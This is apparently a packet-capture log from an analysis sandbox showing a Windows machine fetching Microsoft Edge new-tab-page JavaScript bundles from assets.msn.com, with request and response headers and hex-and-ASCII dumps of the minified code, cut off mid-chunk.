/(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["microsoft"],{63165:function(t,e,n){"use strict";n.d(e,{Z:function(){return A}});v
2025-01-11 06:54:30 UTC	16290	IN	Data Raw: 36 2c 72 2e 62 24 2c 6f 2e 48 44 2c 6f 2e 68 6a 2c 6f 2e 6a 6e 2c 6f 2e 6d 66 2c 6f 2e 6b 4a 2c 6f 2e 4b 6e 2c 6f 2e 6e 64 2c 72 2e 4d 46 2c 6f 2e 59 36 2c 72 2e 63 70 2c 73 2e 70 37 2c 73 2e 55 59 2c 6f 2e 6c 5f 2c 6c 2e 63 39 2c 6c 2e 49 62 2c 6f 2e 49 64 2c 6f 2e 72 57 2c 6f 2e 59 6d 2c 6f 2e 6f 38 2c 6f 2e 6c 65 2c 6f 2e 6e 72 2c 6f 2e 6d 66 2c 6f 2e 4b 6e 2c 6f 2e 4a 5f 2c 6f 2e 6b 4a 2c 6f 2e 56 5a 2c 6f 2e 48 44 2c 6f 2e 68 6a 2c 6f 2e 6a 6e 2c 6f 2e 59 36 2c 6f 2e 74 4f 2c 6f 2e 55 41 2c 6f 2e 4d 72 2c 6f 2e 58 7a 2c 6f 2e 6e 64 2c 64 2e 70 75 2c 6f 2e 46 59 2c 6f 2e 6c 5f 2c 6c 2e 49 62 2c 6f 2e 6d 36 2c 72 2e 77 31 2c 61 2e 47 57 2c 61 2e 4a 6a 2c 75 2e 70 5a 2c 75 2e 61 7a 2c 75 2e 5f 6c 2c 75 2e 43 4e 2c 75 2e 46 36 2c 61 2e 44 4f 3b 66 75 6e Data Ascii: 6,r.b$,o.HD,o.hj,o.jn,o.mf,o.kJ,o.Kn,o.nd,r.MF,o.Y6,r.cp,s.p7,s.UY,o.l_,l.c9,l.Ib,o.Id,o.rW,o.Ym,o.o8,o.le,o.nr,o.mf,o.Kn,o.J_,o.kJ,o.VZ,o.HD,o.hj,o.jn,o.Y6,o.tO,o.UA,o.Mr,o.Xz,o.nd,d.pu,o.FY,o.l_,l.Ib,o.m6,r.w1,a.GW,a.Jj,u.pZ,u.az,u._l,u.CN,u.F6,a.DO;fun
2025-01-11 06:54:30 UTC	10457	IN	Data Raw: 6e 20 4e 7d 2c 4d 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 74 7d 2c 4f 69 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 79 74 7d 2c 55 41 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 74 7d 2c 56 5a 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4b 7d 2c 56 62 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 77 74 7d 2c 58 7a 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 74 7d 2c 59 36 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 59 7d 2c 59 6d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 52 7d 2c 5f 41 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 74 7d 2c 5f 51 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 55 7d 2c 5f 79 3a 66 Data Ascii: n N},Mr:function(){return et},Oi:function(){return yt},UA:function(){return tt},VZ:function(){return K},Vb:function(){return wt},Xz:function(){return nt},Y6:function(){return Y},Ym:function(){return R},_A:function(){return lt},_Q:function(){return U},_y:f
2025-01-11 06:54:30 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 64 5d 3b 72 65 74 75 72 6e 20 6d 7c 7c 28 6d 3d 65 5b 64 5d 3d 7b 7d 29 2c 65 2e 73 65 74 4e 65 78 74 28 76 29 2c 74 26 26 28 30 2c 63 2e 4c 6d 29 28 65 5b 61 2e 6f 56 5d 28 29 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 67 2b 22 3a 22 2b 73 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6d 5b 70 5d 3d 21 30 3b 74 72 79 7b 76 61 72 20 74 3d 76 3f 76 2e 5f 69 64 3a 61 2e 71 53 3b 74 26 26 28 6d 5b 74 5d 3d 21 31 29 2c 66 3d 6e 28 65 29 7d 63 61 74 63 68 28 74 29 7b 76 61 72 20 63 3d 21 76 7c 7c 6d 5b 76 2e 5f 69 64 5d 3b 63 26 26 28 66 3d 21 30 29 2c 76 26 26 63 7c 7c 28 30 2c 72 2e 6b 50 29 28 65 5b 69 2e 6d 63 5d 28 29 2c 31 2c 37 33 2c 22 50 6c 75 67 69 6e 20 5b 22 2b 67 2b 22 5d 20 66 61 69 6c 65 64 20 64 75 Data Ascii: 00004000d];return m\|\|(m=e[d]={}),e.setNext(v),t&&(0,c.Lm)(e[a.oV](),(function(){return g+":"+s}),(function(){m[p]=!0;try{var t=v?v._id:a.qS;t&&(m[t]=!1),f=n(e)}catch(t){var c=!v\|\|m[v._id];c&&(f=!0),v&&c\|\|(0,r.kP)(e[i.mc](),1,73,"Plugin ["+g+"] failed du
2025-01-11 06:54:30 UTC	12	IN	Data Raw: 54 79 70 65 5d 3b 21 76 74 28 0d 0a Data Ascii: Type];!vt(
2025-01-11 06:54:30 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 65 2e 73 65 6e 64 54 79 70 65 29 26 26 65 2e 69 73 42 65 61 63 6f 6e 26 26 32 3d 3d 3d 65 2e 73 65 6e 64 52 65 61 73 6f 6e 26 26 28 67 3d 70 5b 32 5d 7c 7c 70 5b 33 5d 7c 7c 67 29 3b 76 61 72 20 76 3d 64 74 3b 28 65 2e 69 73 42 65 61 63 6f 6e 7c 7c 33 3d 3d 3d 67 2e 5f 74 72 61 6e 73 70 6f 72 74 29 26 26 28 76 3d 21 31 29 3b 76 61 72 20 6d 3d 6b 74 28 65 2c 76 29 3b 76 3d 76 7c 7c 6d 2e 75 73 65 48 64 72 73 3b 76 61 72 20 62 3d 28 30 2c 63 2e 68 4b 29 28 29 3b 28 30 2c 6f 2e 4c 6d 29 28 79 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 48 74 74 70 4d 61 6e 61 67 65 72 3a 5f 64 6f 50 61 79 6c 6f 61 64 53 65 6e 64 22 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 70 3d 30 3b 70 3c 65 2e 62 61 Data Ascii: 00004000e.sendType)&&e.isBeacon&&2===e.sendReason&&(g=p[2]\|\|p[3]\|\|g);var v=dt;(e.isBeacon\|\|3===g._transport)&&(v=!1);var m=kt(e,v);v=v\|\|m.useHdrs;var b=(0,c.hK)();(0,o.Lm)(y,(function(){return"HttpManager:_doPayloadSend"}),(function(){for(var p=0;p<e.ba
2025-01-11 06:54:30 UTC	12	IN	Data Raw: 22 7c 22 29 3b 69 2e 6c 65 6e 0d 0a Data Ascii: "\|");i.len
2025-01-11 06:54:30 UTC	16384	IN	Data Raw: 30 30 30 31 38 30 30 30 0d 0a 67 74 68 3e 30 26 26 6e 2e 73 65 74 49 64 28 69 5b 30 5d 29 3b 74 72 79 7b 69 66 28 69 2e 6c 65 6e 67 74 68 3e 31 29 7b 76 61 72 20 72 3d 2b 69 5b 31 5d 3b 6e 2e 61 63 71 75 69 73 69 74 69 6f 6e 44 61 74 65 3d 2b 6e 65 77 20 44 61 74 65 28 72 29 2c 6e 2e 61 63 71 75 69 73 69 74 69 6f 6e 44 61 74 65 3d 6e 2e 61 63 71 75 69 73 69 74 69 6f 6e 44 61 74 65 3e 30 3f 6e 2e 61 63 71 75 69 73 69 74 69 6f 6e 44 61 74 65 3a 30 7d 69 66 28 69 2e 6c 65 6e 67 74 68 3e 32 29 7b 76 61 72 20 6f 3d 2b 69 5b 32 5d 3b 6e 2e 72 65 6e 65 77 61 6c 44 61 74 65 3d 2b 6e 65 77 20 44 61 74 65 28 6f 29 2c 6e 2e 72 65 6e 65 77 61 6c 44 61 74 65 3d 6e 2e 72 65 6e 65 77 61 6c 44 61 74 65 3e 30 3f 6e 2e 72 65 6e 65 77 61 6c 44 61 74 65 3a 30 7d 7d 63 61 74 Data Ascii: 00018000gth>0&&n.setId(i[0]);try{if(i.length>1){var r=+i[1];n.acquisitionDate=+new Date(r),n.acquisitionDate=n.acquisitionDate>0?n.acquisitionDate:0}if(i.length>2){var o=+i[2];n.renewalDate=+new Date(o),n.renewalDate=n.renewalDate>0?n.renewalDate:0}}cat
2025-01-11 06:54:30 UTC	16384	IN	Data Raw: 54 5b 62 5d 7c 7c 28 54 5b 62 5d 3d 7b 6f 3a 28 69 3d 7b 7d 2c 69 5b 78 5d 3d 21 30 2c 69 5b 77 5d 3d 21 30 2c 69 29 2c 6e 3a 31 65 33 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 4f 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 26 26 43 5b 73 5d 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 49 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 74 3d 3d 3d 43 5b 73 5d 7c 7c 74 3d 3d 3d 41 72 72 61 79 5b 73 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 45 28 74 29 7b 72 65 74 75 72 6e 20 49 28 74 29 7c 7c 74 3d 3d 3d 46 75 6e 63 74 69 6f 6e 5b 73 5d 7d 66 75 6e 63 74 69 6f 6e 20 44 28 74 29 7b 76 61 72 20 65 3b 69 66 28 74 29 7b 69 66 28 6b 29 72 65 74 75 72 6e 20 6b 28 74 29 3b 76 61 72 20 6e 3d 74 5b 76 5d 7c 7c 74 5b 73 5d Data Ascii: T[b]\|\|(T[b]={o:(i={},i[x]=!0,i[w]=!0,i),n:1e3});function O(t,e){return t&&C[s].hasOwnProperty.call(t,e)}function I(t){return t&&(t===C[s]\|\|t===Array[s])}function E(t){return I(t)\|\|t===Function[s]}function D(t){var e;if(t){if(k)return k(t);var n=t[v]\|\|t[s]
2025-01-11 06:54:30 UTC	1387	IN	Data Raw: 77 6b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 7d 29 3b 63 6f 6e 73 74 20 69 3d 5b 30 2c 35 34 30 2c 37 36 38 2c 31 30 38 34 2c 31 34 30 30 2c 31 37 37 39 5d 3b 66 75 6e 63 74 69 6f 6e 20 72 28 74 2c 65 3d 69 29 7b 66 6f 72 28 6c 65 74 20 6e 3d 65 2e 6c 65 6e 67 74 68 2d 31 3b 6e 3e 3d 30 3b 6e 2d 2d 29 69 66 28 74 3e 3d 65 5b 6e 5d 29 72 65 74 75 72 6e 20 6e 7d 7d 2c 33 34 37 35 37 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3b 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 7d 72 65 74 75 72 6e 20 74 2e 67 65 74 47 6c 6f 62 61 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 Data Ascii: wk:function(){return r}});const i=[0,540,768,1084,1400,1779];function r(t,e=i){for(let n=e.length-1;n>=0;n--)if(t>=e[n])return n}},34757:function(){var t;!function(t){var e=function(){function t(){}return t.getGlobal=function(){return"undefined"!=typeof g

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.11.20	62304	23.45.46.202	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:30 UTC	615	OUT	GET /bundles/v1/edgeChromium/latest/common.645cb4eb2f9e0802adfb.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:30 UTC	1239	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: MHvAXttI2dRWpYrnZCMVMw== Last-Modified: Fri, 10 Jan 2025 20:39:44 GMT ETag: 0x8DD31B6EAC9F297 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: d152a47e-101e-0055-6a9f-634a94000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Sat, 11 Jan 2025 06:54:30 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.208.24.82,b=3069602986,c=g,n=US_IL_CHICAGO,o=20940] Server-Timing: clientrtt; dur=118, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.208.24.82 Akamai-Request-ID: b6f66caa Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.5218d017.1736578470.b6f66caa Vary: Origin
2025-01-11 06:54:30 UTC	15145	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 63 6f 6d 6d 6f 6e 22 2c 22 6d 73 6e 65 77 73 2f 70 75 62 6c 69 73 68 65 72 73 2d 73 65 72 76 69 63 65 2d 63 6c 69 65 6e 74 22 5d 2c 7b 38 35 32 38 39 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 24 36 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 43 7d 2c 24 57 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 41 7d 2c 42 41 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 7d 2c 42 64 3a 66 75 6e 63 74 69 6f Data Ascii: 0000C000(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["common","msnews/publishers-service-client"],{85289:function(e,t,n){"use strict";n.d(t,{$6:function(){return C},$W:function(){return A},BA:function(){return l},Bd:functio
2025-01-11 06:54:30 UTC	16260	IN	Data Raw: 64 69 74 73 3a 6e 75 6c 6c 3d 3d 3d 28 74 3d 74 68 69 73 2e 63 6f 6e 66 69 67 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 6e 75 6c 6c 3d 3d 3d 28 74 3d 74 2e 64 61 74 61 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 6e 75 6c 6c 3d 3d 3d 28 74 3d 74 5b 74 68 69 73 2e 69 6d 61 67 65 49 64 5d 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 61 74 74 72 69 62 75 74 69 6f 6e 2c 69 73 44 69 73 70 6c 61 79 65 64 3a 21 30 2c 74 69 74 6c 65 3a 6e 75 6c 6c 2c 74 69 74 6c 65 55 52 4c 3a 6e 75 6c 6c 7d 29 7d 67 65 74 4c 6f 63 54 69 74 6c 65 4b 65 79 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 6d 61 67 65 49 64 3c 3d 74 68 69 73 2e 63 6d 73 53 69 7a 65 3f 60 69 6d 61 67 65 24 7b 74 68 69 73 2e 69 6d 61 67 65 49 64 7d 60 3a 60 73 69 6d 70 6c 65 Data Ascii: dits:null===(t=this.config)\|\|void 0===t\|\|null===(t=t.data)\|\|void 0===t\|\|null===(t=t[this.imageId])\|\|void 0===t?void 0:t.attribution,isDisplayed:!0,title:null,titleURL:null})}getLocTitleKey(){return this.imageId<=this.cmsSize?`image${this.imageId}`:`simple
2025-01-11 06:54:30 UTC	16384	IN	Data Raw: 70 6c 61 79 43 68 61 6e 67 65 64 3d 74 29 2c 74 26 26 74 68 69 73 2e 64 69 73 70 6c 61 79 4d 61 72 71 75 65 65 41 64 26 26 22 61 6c 77 61 79 73 22 21 3d 3d 65 2e 73 65 6c 65 63 74 65 64 46 65 65 64 44 69 73 70 6c 61 79 53 65 74 74 69 6e 67 26 26 28 74 68 69 73 2e 64 69 73 70 6c 61 79 4d 61 72 71 75 65 65 41 64 3d 21 31 2c 74 68 69 73 2e 62 61 63 6b 67 72 6f 75 6e 64 44 61 74 61 43 6f 6e 6e 65 63 74 6f 72 2e 6d 61 72 71 75 65 41 64 44 69 73 70 6c 61 79 53 74 61 74 75 73 55 70 64 61 74 65 64 28 21 31 29 29 2c 74 68 69 73 2e 64 69 73 70 6c 61 79 4d 61 72 71 75 65 65 41 64 29 7b 65 2e 63 75 72 72 65 6e 74 42 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 54 79 70 65 21 3d 3d 74 68 69 73 2e 63 68 72 6f 6d 69 75 6d 50 61 67 65 53 65 74 74 69 6e 67 73 53 74 61 74 65 Data Ascii: playChanged=t),t&&this.displayMarqueeAd&&"always"!==e.selectedFeedDisplaySetting&&(this.displayMarqueeAd=!1,this.backgroundDataConnector.marqueAdDisplayStatusUpdated(!1)),this.displayMarqueeAd){e.currentBackgroundImageType!==this.chromiumPageSettingsState
2025-01-11 06:54:30 UTC	1375	IN	Data Raw: 73 2e 72 65 66 5f 6d 61 72 71 75 65 65 41 64 44 69 73 6d 69 73 73 42 75 74 74 6f 6e 43 6f 6e 74 61 69 6e 65 72 26 26 74 68 69 73 2e 72 65 66 5f 6d 61 72 71 75 65 65 41 64 44 69 73 6d 69 73 73 42 75 74 74 6f 6e 43 6f 6e 74 61 69 6e 65 72 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 6d 75 73 65 75 6d 43 61 72 64 5f 68 69 64 65 22 29 2c 74 68 69 73 2e 73 68 6f 75 6c 64 55 70 64 61 74 65 4d 61 72 71 75 65 65 41 64 44 69 73 6d 69 73 73 42 75 74 74 6f 6e 56 69 73 69 62 69 6c 69 74 79 3d 21 31 29 29 2c 22 56 69 64 65 6f 22 3d 3d 3d 74 68 69 73 2e 63 75 72 72 65 6e 74 50 72 6f 76 69 64 65 72 26 26 28 65 3f 74 68 69 73 2e 76 69 64 65 6f 50 72 6f 76 69 64 65 72 2e 70 6c 61 79 56 69 64 65 6f 28 22 53 63 72 6f 6c 6c 22 29 3a 74 68 69 73 2e 76 69 64 65 6f 50 72 6f Data Ascii: s.ref_marqueeAdDismissButtonContainer&&this.ref_marqueeAdDismissButtonContainer.classList.add("museumCard_hide"),this.shouldUpdateMarqueeAdDismissButtonVisibility=!1)),"Video"===this.currentProvider&&(e?this.videoProvider.playVideo("Scroll"):this.videoPro
2025-01-11 06:54:30 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 74 68 69 73 2e 75 70 64 61 74 65 48 6f 6c 69 64 61 79 42 61 63 6b 67 72 6f 75 6e 64 28 65 2c 21 30 29 2c 74 68 69 73 2e 64 65 66 69 6e 65 43 75 72 72 65 6e 74 50 72 6f 76 69 64 65 72 41 6e 64 53 79 6e 63 28 29 2c 22 43 4d 53 49 6d 61 67 65 22 3d 3d 3d 74 68 69 73 2e 63 75 72 72 65 6e 74 50 72 6f 76 69 64 65 72 26 26 74 68 69 73 2e 75 70 64 61 74 65 50 72 6f 70 65 72 74 69 65 73 28 29 7d 2c 74 68 69 73 2e 6f 6e 47 61 6c 6c 65 72 79 41 70 70 6c 69 65 64 3d 28 29 3d 3e 7b 74 68 69 73 2e 62 61 63 6b 67 72 6f 75 6e 64 53 6f 75 72 63 65 43 68 61 6e 67 65 64 3d 21 30 2c 74 68 69 73 2e 64 65 66 69 6e 65 43 75 72 72 65 6e 74 50 72 6f 76 69 64 65 72 28 29 7d 2c 74 68 69 73 2e 73 74 61 74 65 73 53 79 6e 63 49 6e 69 74 3d 28 29 3d 3e 7b Data Ascii: 00004000this.updateHolidayBackground(e,!0),this.defineCurrentProviderAndSync(),"CMSImage"===this.currentProvider&&this.updateProperties()},this.onGalleryApplied=()=>{this.backgroundSourceChanged=!0,this.defineCurrentProvider()},this.statesSyncInit=()=>{
2025-01-11 06:54:30 UTC	12	IN	Data Raw: 30 2c 62 2e 24 6f 29 28 29 2e 0d 0a Data Ascii: 0,b.$o)().
2025-01-11 06:54:30 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 67 65 74 4f 62 6a 65 63 74 28 74 68 69 73 2e 68 6f 6c 69 64 61 79 4b 65 79 2b 22 55 73 65 72 22 29 3b 6e 3d 76 6f 69 64 20 30 3d 3d 3d 65 3b 6c 65 74 20 74 3d 21 31 3b 63 6f 6e 73 74 20 69 3d 55 2e 70 2e 67 65 74 50 72 65 66 65 72 65 6e 63 65 42 79 4b 65 79 46 72 6f 6d 46 72 6f 6d 50 72 65 66 65 72 65 6e 63 65 73 43 61 63 68 65 28 44 2e 77 49 2e 62 61 63 6b 67 72 6f 75 6e 64 53 65 6c 65 63 74 69 6f 6e 4d 65 74 61 64 61 74 61 29 3b 69 26 26 69 2e 63 6f 6e 66 69 67 49 6e 64 65 78 26 26 28 74 3d 22 43 4d 53 49 6d 61 67 65 22 3d 3d 3d 69 2e 70 72 6f 76 69 64 65 72 7c 7c 22 56 69 64 65 6f 22 3d 3d 3d 69 2e 70 72 6f 76 69 64 65 72 29 2c 6e 26 26 21 74 26 26 28 74 68 69 73 2e 73 73 72 42 61 63 6b 67 72 6f 75 6e 64 4d 65 74 61 64 61 Data Ascii: 00004000getObject(this.holidayKey+"User");n=void 0===e;let t=!1;const i=U.p.getPreferenceByKeyFromFromPreferencesCache(D.wI.backgroundSelectionMetadata);i&&i.configIndex&&(t="CMSImage"===i.provider\|\|"Video"===i.provider),n&&!t&&(this.ssrBackgroundMetada
2025-01-11 06:54:30 UTC	12	IN	Data Raw: 69 67 68 74 2d 6f 66 66 2e 73 0d 0a Data Ascii: ight-off.s
2025-01-11 06:54:30 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 76 67 22 29 2c 59 65 3d 47 65 2e 69 60 20 2e 62 61 63 6b 67 72 6f 75 6e 64 42 75 74 74 6f 6e 7b 66 6c 6f 61 74 3a 72 69 67 68 74 7d 2e 62 61 63 6b 67 72 6f 75 6e 64 47 61 6c 6c 65 72 79 42 75 74 74 6f 6e 43 6f 6e 74 61 69 6e 65 72 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 32 70 78 7d 2e 6d 61 72 71 75 65 65 41 64 44 69 73 6d 69 73 73 42 75 74 74 6f 6e 43 6f 6e 74 61 69 6e 65 72 7b 6c 65 66 74 3a 69 6e 69 74 69 61 6c 3b 72 69 67 68 74 3a 31 32 70 78 7d 2e 63 6f 70 79 72 69 67 68 74 43 6f 6e 74 61 69 6e 65 72 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 32 70 78 7d 2e 6d 75 73 65 75 6d 43 61 72 64 7b 6c 65 66 74 3a 69 6e 69 74 69 61 6c 3b 72 69 67 68 74 3a 31 32 70 78 7d 2e 73 65 63 6f 6e 64 61 72 79 42 75 74 74 6f 6e 7b 66 Data Ascii: 00004000vg"),Ye=Ge.i` .backgroundButton{float:right}.backgroundGalleryButtonContainer{padding-left:12px}.marqueeAdDismissButtonContainer{left:initial;right:12px}.copyrightContainer{padding-left:12px}.museumCard{left:initial;right:12px}.secondaryButton{f
2025-01-11 06:54:30 UTC	12	IN	Data Raw: 65 78 42 75 74 74 6f 6e 53 74 0d 0a Data Ascii: exButtonSt

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.11.20	61052	23.45.46.202	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:30 UTC	619	OUT	GET /bundles/v1/edgeChromium/latest/experience.639a3a8baab8493c4920.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:30 UTC	1239	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: WFJOAnl5+QnYSOo4tZsbkQ== Last-Modified: Fri, 10 Jan 2025 20:39:45 GMT ETag: 0x8DD31B6EB51C392 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: ceffbcf1-a01e-0100-659f-634570000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Sat, 11 Jan 2025 06:54:30 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.208.24.74,b=3495913594,c=g,n=US_IL_CHICAGO,o=20940] Server-Timing: clientrtt; dur=118, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.208.24.74 Akamai-Request-ID: d05f687a Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.4a18d017.1736578470.d05f687a Vary: Origin
2025-01-11 06:54:30 UTC	15145	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6e 2c 6f 2c 69 2c 61 2c 72 3d 7b 32 33 38 36 35 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 53 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 71 7d 7d 29 3b 76 61 72 20 6f 3d 6e 28 33 33 39 34 30 29 2c 69 3d 6e 28 36 35 31 37 35 29 2c 61 3d 6e 28 36 33 30 37 30 29 2c 72 3d 6e 28 33 39 30 30 31 29 2c 73 3d 6e 28 32 32 33 39 30 29 2c 64 3d 6e 28 34 34 38 38 36 29 2c 63 3d 6e 28 34 30 39 32 34 29 3b 76 61 72 20 6c 3d 6e 28 32 38 39 30 34 29 2c 70 3d 6e 28 39 39 34 35 32 29 2c 68 3d 6e 28 34 32 35 39 30 29 2c 75 3d 6e 28 39 34 35 33 37 29 2c 6d 3d 6e 28 38 35 32 30 35 29 2c 67 3d 6e 28 34 37 34 Data Ascii: 0000C000!function(){var e,t,n,o,i,a,r={23865:function(e,t,n){"use strict";n.d(t,{S:function(){return q}});var o=n(33940),i=n(65175),a=n(63070),r=n(39001),s=n(22390),d=n(44886),c=n(40924);var l=n(28904),p=n(99452),h=n(42590),u=n(94537),m=n(85205),g=n(474
2025-01-11 06:54:30 UTC	16259	IN	Data Raw: 50 49 41 75 74 6f 53 75 67 67 65 73 74 69 6f 6e 73 3d 21 31 2c 74 68 69 73 2e 69 73 49 6e 70 75 74 46 6f 63 75 73 65 64 3d 21 31 2c 74 68 69 73 2e 61 63 74 69 6f 6e 45 6c 65 6d 65 6e 74 46 6f 63 75 73 65 64 3d 21 31 2c 74 68 69 73 2e 73 65 61 72 63 68 42 6f 78 54 65 6c 65 6d 65 74 72 79 54 61 67 73 3d 22 22 2c 74 68 69 73 2e 62 75 74 74 6f 6e 54 65 6c 65 6d 65 74 72 79 54 61 67 3d 22 22 2c 74 68 69 73 2e 64 65 65 70 53 65 61 72 63 68 42 75 74 74 6f 6e 54 65 6c 65 6d 65 74 72 79 54 61 67 3d 22 22 2c 74 68 69 73 2e 69 6e 70 75 74 54 65 6c 65 6d 65 74 72 79 54 61 67 3d 22 22 2c 74 68 69 73 2e 73 65 6c 65 63 74 42 6f 78 4f 70 74 69 6f 6e 54 65 6c 65 6d 